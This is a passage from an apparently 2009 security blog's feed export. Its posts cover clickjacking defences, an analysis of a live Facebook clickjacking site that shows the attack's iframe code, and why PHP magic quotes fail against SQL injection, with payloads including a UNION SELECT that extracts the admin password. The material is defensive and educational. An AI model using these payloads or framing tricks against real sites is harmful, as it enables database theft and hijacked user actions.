&lt;h3&gt;Move elements on your pages&lt;/h3&gt;The recent Facebook attack was possible because the &lt;b&gt;Share link&lt;/b&gt; button was always placed in the same spot. When someone frames your site, he's "blind". Your browser knows where to render a button but it won't be possible for an attacker to check where this button is (nor will he be able to change CSS on your pages to modify how your site looks).&amp;nbsp; &lt;br /&gt;
If you e.g. position your button randomly (different spot on every page) - it just won't be where the attacker tricks the user to click. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Con:&lt;/b&gt;&lt;br /&gt;
- it's hard for your legitimate users (although you might move it only when you detect you're framed)&lt;br /&gt;
- the attacker might really do crazy things to hit your button eventually (e.g. a fake point and shoot game)&lt;br /&gt;
&lt;h3&gt;Require additional action &lt;br /&gt;
&lt;/h3&gt;Require your users to mark a checkbox, fill in some password, solve a CAPTCHA in addition to clicking the button. This will make it harder for the clickjacker, as he now has to convince users to take more actions. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Con:&lt;/b&gt;&lt;br /&gt;
- hard for your legitimate users (although you might do it only when framed)&lt;br /&gt;
- it's still possible to trick users if the attackers tries hard enough&lt;br /&gt;
&lt;h3&gt;One-time URLs&lt;br /&gt;
&lt;/h3&gt;The clickjacking attack is in a way similar to CSRF (when the user is on webpage A, he unwillingly does an action on website B), so the same &lt;a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery#Prevention" id="sp:d" title="prevention rules"&gt;prevention rules&lt;/a&gt; apply. To prepare the attack, clickjacker has to know two things:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;your target URL (that URL will be framed)&lt;/li&gt;
&lt;li&gt;where is the 'click area'&lt;br /&gt;
&lt;/li&gt;
&lt;/ul&gt;You may make the attack much much harder if you include a one-time code (&lt;a href="http://en.wikipedia.org/wiki/Cryptographic_nonce" id="cjsp" title="nonce"&gt;nonce&lt;/a&gt;) in URLs to crucial pages. This is similar to nonces used to prevent CSRF but this time we're including nonces in URLs to target pages, not in forms within those pages. &lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;b&gt;Example:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="php" name="code"&gt;&amp;lt;?php // my-account.php
//...
$nonce = generate_nonce(); 
$_SESSION['nonce'] = $nonce; // store the generated nonce in session

// include it in URLs that you want to protect from clickjacking. 
// regenerate nonces on every page refresh.
//...
?&amp;gt;
&amp;lt;a href="http://example.com/delete-my-account-form.php?nonce=&amp;lt;?php echo htmlspecialchars($nonce)?&amp;gt;"&amp;gt;Delete my account&amp;lt;/a&amp;gt;

&amp;lt;?php // delete-my-account-form.php
// ...&amp;nbsp;

// check if user came giving your correct one-time nonce. 

if ($_SESSION['nonce'] !== $_GET['nonce']) {
    return redirect_to('my_account.php'); // if not, direct him to previous page
    // you may also give an error message, log this etc. 
}
// ...
?&amp;gt;
&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;
&lt;b&gt;Pro:&lt;/b&gt;&lt;br /&gt;
+ protects you also from CSRF&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Con:&lt;/b&gt;&lt;br /&gt;
- this can't be used on URLs that need to be shared, bookmarked etc. &lt;br /&gt;
- users using browser tabs will get their pages expired&lt;br /&gt;
&lt;h3&gt;Summary&lt;/h3&gt;Sadly, there is no perfect solution for clickjacking protection yet. Given methods are not perfect, mostly because they affect your regular users (this also makes clickjacking similar to CSRF) and make it a bit harder for them to use your pages. What I would recommend is to use two methods simultaneously:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;X-Frame-Options (for the future)&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;Detect if you're in frame, but don't escape from it (this can be prevented by clickjacker) but change your page instead (e.g. delete everything, disable buttons, require additional password, redirect to warning message) using JavaScript.&lt;/li&gt;
&lt;/ul&gt;This way the majority of your users is protected, but all of them (even those without JavaScript) can still use your website.&lt;br /&gt;
&lt;br /&gt;
If you want to read more about clickjacking and you're not afraid of technical jargon, I recommend &lt;a href="http://ha.ckers.org/blog/20081007/clickjacking-details/" id="fm3r" title="this article"&gt;this article&lt;/a&gt;. &lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-2234481566472118674?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/2234481566472118674/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=2234481566472118674' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/2234481566472118674'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/2234481566472118674'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2009/12/5-ways-to-prevent-clickjacking-on-your.html' title='5 ways to prevent clickjacking on your website (and why they suck)'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-1372210369473171347</id><published>2009-12-21T18:03:00.004+01:00</published><updated>2009-12-21T19:36:37.475+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='share'/><category scheme='http://www.blogger.com/atom/ns#' term='clickjack'/><category scheme='http://www.blogger.com/atom/ns#' term='turing'/><category scheme='http://www.blogger.com/atom/ns#' term='new pix'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='clickjacking'/><category scheme='http://www.blogger.com/atom/ns#' term='iframe'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>New Facebook clickjacking attack in the wild - fb.59.to</title><content type='html'>There's a malicious website set up at &lt;b&gt;http://fb.59.to&lt;/b&gt; that tries to trick users into a &lt;a href="http://en.wikipedia.org/wiki/Clickjacking"&gt;clickjacking&lt;/a&gt; attack that shares the link on victims' Facebook accounts.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Some Facebook users today saw a comment looking like this (new pix!):&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_yeezYoHslRg/Sy-lBhh3trI/AAAAAAAADsE/m2Sm7-8_Z04/s1600-h/Facebook+-+Home_1261413480564.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_yeezYoHslRg/Sy-lBhh3trI/AAAAAAAADsE/m2Sm7-8_Z04/s320/Facebook+-+Home_1261413480564.png" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Clicking on the comment that links to&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="html" name="code"&gt;http://www.facebook.com/l.php?u=http%253A%252F%252Ffb.59.to%252F%253F4ff11a526ae73e9f170bbe6702ebb93c&amp;amp;h=..somehash...&amp;amp;ref=nf
&lt;/pre&gt;&lt;br /&gt;
redirects users to &lt;b style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;http://fb.59.to&lt;/b&gt; web page.&lt;br /&gt;
&lt;br /&gt;
On this page they are given a fake Turing test that tricks them into clicking a "blue button" which is their clickjacked Facebook page positioned at adding a new comment ("Share" button). The whole web page looks like this (clickjacked area is marked green):&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_yeezYoHslRg/Sy-mfeftXhI/AAAAAAAADsM/2XSRTkUvrvM/s1600-h/facebook2-hack-clickjagging-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_yeezYoHslRg/Sy-mfeftXhI/AAAAAAAADsM/2XSRTkUvrvM/s320/facebook2-hack-clickjagging-1.png" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
In page source we can see that there is a IFRAME element:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="html" name="code"&gt;&amp;lt;iframe frameborder=0 scrolling=no height=25 width=100
src="2.php?u=http://fb.59.to/?...somehash...."
&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;span style=background-color:yellow;&amp;gt;&amp;lt;font 
style=font-size:13 ; color=white&amp;gt;
&lt;/pre&gt;&lt;br /&gt;
The target URL (2.php) has another IFRAME which in turn has yet another one with the target page being&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="html" name="code"&gt;&amp;lt;div style="left:-90px;top:-386px;position:absolute;"
&amp;lt;iframe height=400 width=250  src="http://www.facebook.com/sharer.php?u=http://fb.59.to/?hash" 
frameborder=0  scrolling=no&amp;gt; &amp;lt;/iframe&amp;gt;
&amp;lt;/div&amp;gt;&amp;nbsp;&lt;/pre&gt;&lt;br /&gt;
Clicking on the button shares the malicious link on Facebook.&lt;br /&gt;
&lt;br /&gt;
The page has a meta-redirect set up to a Youtube movie launching&amp;nbsp; in 12 seconds so a users might get the impression that the movie launched because they successfully passed the Turing test.&lt;br /&gt;
&lt;br /&gt;
&lt;strike&gt;Multiple iframes are probably set up to trick clickjacking protections within browsers. &lt;/strike&gt;A quick look tells that currently Firefox and Chrome are vulnerable to the attack, &lt;strike&gt;IE and Opera being safe&lt;/strike&gt;, although that requires a bit more time to investigate. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update:&lt;/b&gt; The attack does not work in IE and Opera only because of incorrect HTML used in one of the pages in this malicious site. Doing a simple fix in HTML makes both mentioned browsers also vulnerable to the attack.&lt;br /&gt;
&lt;br /&gt;
Thanks go to Grzegorz Ciborowski and Pawel Czernikowski for detecting the attack.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-1372210369473171347?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/1372210369473171347/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=1372210369473171347' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/1372210369473171347'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/1372210369473171347'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2009/12/new-facebook-clickjagging-attack-in.html' title='New Facebook clickjacking attack in the wild - fb.59.to'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_yeezYoHslRg/Sy-lBhh3trI/AAAAAAAADsE/m2Sm7-8_Z04/s72-c/Facebook+-+Home_1261413480564.png' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-5319116904878032682</id><published>2009-10-21T02:33:00.007+02:00</published><updated>2009-10-21T12:48:48.290+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='false'/><category scheme='http://www.blogger.com/atom/ns#' term='sql injection'/><category scheme='http://www.blogger.com/atom/ns#' term='magic quotes'/><category scheme='http://www.blogger.com/atom/ns#' term='sqli'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='hardening'/><title type='text'>Hardening PHP: magic_quotes_gpc - False sense of security</title><content type='html'>Writing secure applications from the ground up requires a programmer to fully understand all the features he uses to protect his code from vulnerabilities. Today's languages provide many ways to ease coders with hardening their code. You can rely on built-in libraries to filter input variables, escape the output in HTML etc.&lt;br /&gt;
&lt;br /&gt;
However, staying secure is not that simple - you need to know all the limits and caveats of your tools, because sometimes they promise you something but do not deliver - as it is in case of magic quotes functionality.&lt;br /&gt;
&lt;h3&gt;Magic quotes&lt;/h3&gt;PHP &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;magic_quotes_gpc&lt;/span&gt; are sometimes recommended as a protection from &lt;a href="http://en.wikipedia.org/wiki/SQL_injection"&gt;SQL injection&lt;/a&gt; .When this ini setting is on, all GET/POST/COOKIE variables are automatically run through &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;addslashes()&lt;/span&gt; function, basically escaping all quote characters with "&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;\&lt;/span&gt;".&lt;br /&gt;
&lt;h3&gt;All is good&lt;/h3&gt;Let's look at an example, where that protection would work:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="php:nogutter"&gt;&amp;lt;?php
// some admin login functionality
$logged_in = mysql_query("SELECT 1 FROM users WHERE login='admin' AND password=sha1('" . $_POST['password'] . "')");
// process $logged_in
&lt;/pre&gt;&lt;br /&gt;
When &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;magic_quotes_gpc &lt;/span&gt;are ON injecting the PASSWORD variable won't work. A simplest attack vector "&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;' OR 1=1 -- &lt;/span&gt;" would transform to &lt;br /&gt;
&lt;pre name="code" class="sql:nogutter:nocontrols"&gt;SELECT 1 FROM users WHERE login='admin' AND password=sha1('\' OR 1=1 -- ')
&lt;/pre&gt;That's a perfectly escaped SQL query, nothing can get injected. &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;magic_quotes_gpc&lt;/span&gt; escape the dangerous single quote for us. So - goodbye SQL injection? &lt;b&gt;WRONG!&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Magic quotes only insert a backslash before a few characters, nothing more. That protects you from SQL injection &lt;b&gt;only&lt;/b&gt; in some particular cases like above and only by coincidence. To prove that, let's analyze the following script.&lt;br /&gt;
&lt;h3&gt;So much for magic...&lt;/h3&gt;&lt;pre name="code" class="php:nogutter"&gt;&amp;lt;?php
// display a single post based on id
$post_data = mysql_query("SELECT title, content FROM posts WHERE post_id={$_GET['id']}");
// display $post
&lt;/pre&gt;The same "&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;' OR 1=1 -- &lt;/span&gt;" transforms to invalid query:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="sql:nogutter:nocontrols"&gt;SELECT title, content FROM posts WHERE post_id= \' OR 1 = 1 --
&lt;/pre&gt;&lt;br /&gt;
and if you have display_errors ON, you just made the attacker very happy with your database details outputted right before his eyes. Even if you don't, there still is a possiblity of &lt;a href="http://en.wikipedia.org/wiki/SQL_injection#Blind_SQL_injection"&gt;blind sql injection&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
But what if an attacker set id parameter to one of these:&lt;br /&gt;
&lt;ul&gt;&lt;li style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;1 AND (SELECT COUNT(*) from another table_name) BETWEEN 0 AND 100&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;-10000 union select user_password from users where user_login=CHAR(97,100,109,105,110)&lt;/span&gt; (admin)&lt;br /&gt;
&lt;/li&gt;
&lt;/ul&gt;You won't get any protection from these vectors - they slip right under the eyes of&amp;nbsp; &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;magic_quotes_gpc&lt;/span&gt; - they don't contain quotes.&lt;br /&gt;
&lt;br /&gt;
In this case a single mysql query parameter that was left unprotected could lead to your whole database content dumped to the attacker (I'm not kidding - see &lt;a href="http://sqlmap.sourceforge.net/"&gt;sqlmap&lt;/a&gt; and try for yourself).&lt;br /&gt;
&lt;h3&gt;Know your context&lt;/h3&gt;The fundamental problem with &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;magic_quotes_gpc&lt;/span&gt; is that they know nothing about &lt;b&gt;the context&lt;/b&gt;. They don't know if you're using the data to insert it into MySQL, Oracle, or if you're writing to a file. Maybe you're sending it through SOAP or displaying it in HTML? Or maybe all of it. They just don't have enough information, only you know it. Escaping values depends on a context in which they are used. &lt;b&gt;You should disable magic quotes now&lt;/b&gt; also for the following reasons:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;they mangle your data before you get the chance to reach it and can lead to double escaping,&lt;/li&gt;
&lt;li&gt;most frameworks expect them to be off, and if they're enabled, try to undo these changes at bootstrap,&lt;/li&gt;
&lt;li&gt;they're deprecated in PHP 5.3 and will be removed in PHP 6. &lt;br /&gt;
&lt;/li&gt;
&lt;/ul&gt;But you need to escape your data nonetheless. Follow these simple rules:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;to output to a HTML - use &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;htmlspecialchars() &lt;/span&gt;&lt;/li&gt;
&lt;li&gt;to escape a string in MySQL - use &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;mysql_real_escape_string()&lt;/span&gt;.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;to escape a string in Postgresql - use &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;pg_escape_string()&lt;/span&gt;&amp;nbsp;&lt;/li&gt;
&lt;li&gt;When you are expecting an integer in SQL query - simply cast to&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; int&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;ALWAYS use &lt;a href="http://en.wikipedia.org/wiki/SQL_injection#Parameterized_statements"&gt;prepared statements &lt;/a&gt;when querying databases.&lt;/li&gt;
&lt;/ul&gt;If you want to read more on bypassing magic quotes and SQL injection in general, I recommend:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt; &lt;a href="http://www.slideshare.net/inquis/sql-injection-not-only-and-11-updated"&gt;SQL injection: Not only AND 1=1&lt;/a&gt; presentation&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf"&gt;Advanced SQL injection to operating system full control&lt;/a&gt;&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.infigo.hr/files/INFIGO-TD-2009-04_PostgreSQL_injection_ENG.pdf"&gt;Advanced PostgreSQL SQL Injection and Filter Bypass Techniques&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;/ul&gt;Have any comments on the subject to share?&amp;nbsp; Please do so, this is my first security-related post and I'd like to hear your opinion.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-5319116904878032682?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/5319116904878032682/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=5319116904878032682' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/5319116904878032682'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/5319116904878032682'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2009/10/hardening-php-magicquotesgpc-false.html' title='Hardening PHP: magic_quotes_gpc - False sense of security'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-5717313280083965646</id><published>2009-09-17T19:35:00.009+02:00</published><updated>2009-10-21T12:26:26.398+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='server'/><category scheme='http://www.blogger.com/atom/ns#' term='http'/><category scheme='http://www.blogger.com/atom/ns#' term='rest'/><category scheme='http://www.blogger.com/atom/ns#' term='ftp'/><category scheme='http://www.blogger.com/atom/ns#' term='email'/><category scheme='http://www.blogger.com/atom/ns#' term='php5'/><category scheme='http://www.blogger.com/atom/ns#' term='wget'/><category scheme='http://www.blogger.com/atom/ns#' term='webdav'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>HTTP File server released</title><content type='html'>&lt;h2&gt;Problem&lt;/h2&gt;&lt;p&gt;Imagine a situation where your application has to store and retrieve files on the web (i.e. not on a local filesystem). You have many options - you may upload them to FTP server, e-mail them, use some file hosting services like&lt;a href="http://getdropbox.com/"&gt; Dropbox&lt;/a&gt;, upload files using a HTML form, use &lt;a href="http://www.webdav.org/"&gt;WebDAV&lt;/a&gt; server.  Finally you may mount some remote filesystem like &lt;a href="http://en.wikipedia.org/wiki/Network_File_System_%28protocol%29"&gt;NFS&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;All of these options are valid, but they all carry certain amount of requirements that may not always be met: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;To use FTP, you need to set up a remote FTP server, have an implemented FTP client in your language of choice &lt;span style="font-style: italic;"&gt;and&lt;/span&gt; the ability to open FTP connections on the system you're using.&lt;/li&gt;
&lt;li&gt;To use e-mail you need to be able to handle POP3 and SMTP protocols and have a mail server set up.&lt;/li&gt;
&lt;li&gt;WebDAV, although convenient, is hard to set up in the first place. The protocol itself takes some time to implement. &lt;/li&gt;
&lt;li&gt;Using any other web application like Dropbox requires you to have a client for their services &lt;span style="font-style: italic;"&gt;and&lt;/span&gt; you need to accept the licence restrictions. &lt;/li&gt;
&lt;li&gt;HTML form - an excelent choice. If you're doing the uploads manually, you may write a simple script in minutes - but what if you want to upload files automatically (e.g. in a batch script)? You need to make a HTTP request with form and the file within encoded, you have to deal with mime-types, encoding file contents etc. Not really fast to implement.&lt;/li&gt;
&lt;li&gt;Mounting remote filesystem is impossible on a shared Linux server, or Windows server.&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Solution&lt;/h2&gt;&lt;p&gt;HTTP File server to the rescue. This small little fellow, written in PHP5 is a simple REST-oriented file server with&lt;span style="font-weight: bold;"&gt; minimal requirements&lt;/span&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;PHP 5 (5.2 I suppose)&lt;/li&gt;
&lt;li&gt;web server (Apache will do)&lt;/li&gt;
&lt;li&gt;writable directory (this is where your files will be stored)&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;This is for the server part. For the client part you only need to be able to do HTTP GET and HTTP POST requests, so you're good with just wget in a batch script (or .NET application, or Ruby, PHP, Java - pretty much anything nowadays can form HTTP requests).&lt;/p&gt;&lt;h2&gt;Example&lt;/h2&gt;&lt;p&gt;Example usage:&lt;/p&gt;&lt;pre name="code" class="ruby"&gt;# store file on server - use HTTP POST
wget --post-file=file_to_send.txt http://server/index.php/path/to/store/file.txt -O -

# retrieve file - use HTTP GET
wget http://server/index.php/path/to/store/file.txt
&lt;/pre&gt;&lt;p&gt;That's pretty much it. The server is so simple, it doesn't (yet?) offer even the ability to list directory contents. All it does is store files and retrieve them.&lt;/p&gt;&lt;h2&gt;Download&lt;/h2&gt;&lt;p&gt;&lt;a href="http://github.com/koto/httpfileserver"&gt;Download HTTPFileServer&lt;/a&gt; and take a look for yourself&lt;a href="http://github.com/koto/httpfileserver"&gt;&lt;/a&gt;.  Your comments are welcome. The project is BSD licensed.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-5717313280083965646?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/5717313280083965646/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=5717313280083965646' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/5717313280083965646'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/5717313280083965646'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2009/09/http-file-server-released.html' title='HTTP File server released'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-6015249654374369157</id><published>2009-09-29T18:27:00.001+02:00</published><updated>2009-10-21T12:21:27.870+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freetds'/><category scheme='http://www.blogger.com/atom/ns#' term='mdb2'/><category scheme='http://www.blogger.com/atom/ns#' term='datetimeconvert'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='mssql'/><title type='text'>Weird date format from FreeTDS with mssql.datetimeconvert = 0</title><content type='html'>Today I encountered a problem with date field format in MS SQL Server 2000. We are accessing the server through &lt;a href="http://www.freetds.org/"&gt;FreeTDS&lt;/a&gt; and for data abstraction we are using latest stable PEAR &lt;a href="http://pear.php.net/package/MDB2_Driver_mssql"&gt;MDB2_Driver_mssql&lt;/a&gt; v 1.2.1.&lt;br /&gt;
&lt;br /&gt;
We were migrating to newest daily FreeTDS. As soon as we recompiled FreeTDS, our PHP applications started acting weird, showing invalid dates. We narrowed down all problems to a change in date format we got from SQL server.&lt;br /&gt;
&lt;br /&gt;
A simple query:&lt;br /&gt;
&lt;pre name="code" class="php"&gt;echo $mdb2-&amp;gt;getOne("SELECT datefield FROM table");
&lt;/pre&gt;now returned some weird data format:&lt;br /&gt;
&lt;blockquote style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;2009-01-01 31695:06&lt;br /&gt;
&lt;/blockquote&gt;However, when we used mssql_* functions, skipping MDB2 altogether the date format was OK. I noticed one &lt;a href="http://pear.php.net/bugs/bug.php?id=11849"&gt;bug report: mssql.datetimeconvert force set to 0 - generate wrong dates&lt;/a&gt;. It was correct - even though we used &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;mssql.datetimeconvert = 1&lt;/span&gt; in our&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; php.ini&lt;/span&gt;, MDB2 driver sets it to 0 on &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;connect()&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
But the same code used to work with older FreeTDS. It seems that FreeTDS changed its internal date format, some locale settings etc. And disabling datetimeconvert by MDB2 triggered the problem as we started getting this new weird format. &lt;br /&gt;
&lt;br /&gt;
I didn't want to mess up with internal date handling by MDB2 and keep patches to apply on future MDB2 updates - luckily we found a simple solution: &lt;b&gt;recompile PHP with the newest FreeTDS libraries&lt;/b&gt; and everything goes back to normal. The same script now outputs:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;2009-09-29 18:11:00&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
Even though &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;mssql.datetimeconvert = 0&lt;/span&gt; thanks to MDB2, we are receiving standard &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Y-m-d H:i:s&lt;/span&gt; format we love so much. Hope that helps anyone with similar problem.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-6015249654374369157?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/6015249654374369157/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=6015249654374369157' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/6015249654374369157'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/6015249654374369157'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2009/09/weird-date-format-from-freetds-with.html' title='Weird date format from FreeTDS with mssql.datetimeconvert = 0'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-1621578445910585631</id><published>2009-09-24T14:30:00.004+02:00</published><updated>2009-09-24T15:19:54.943+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='deployment'/><category scheme='http://www.blogger.com/atom/ns#' term='denied'/><category scheme='http://www.blogger.com/atom/ns#' term='access'/><category scheme='http://www.blogger.com/atom/ns#' 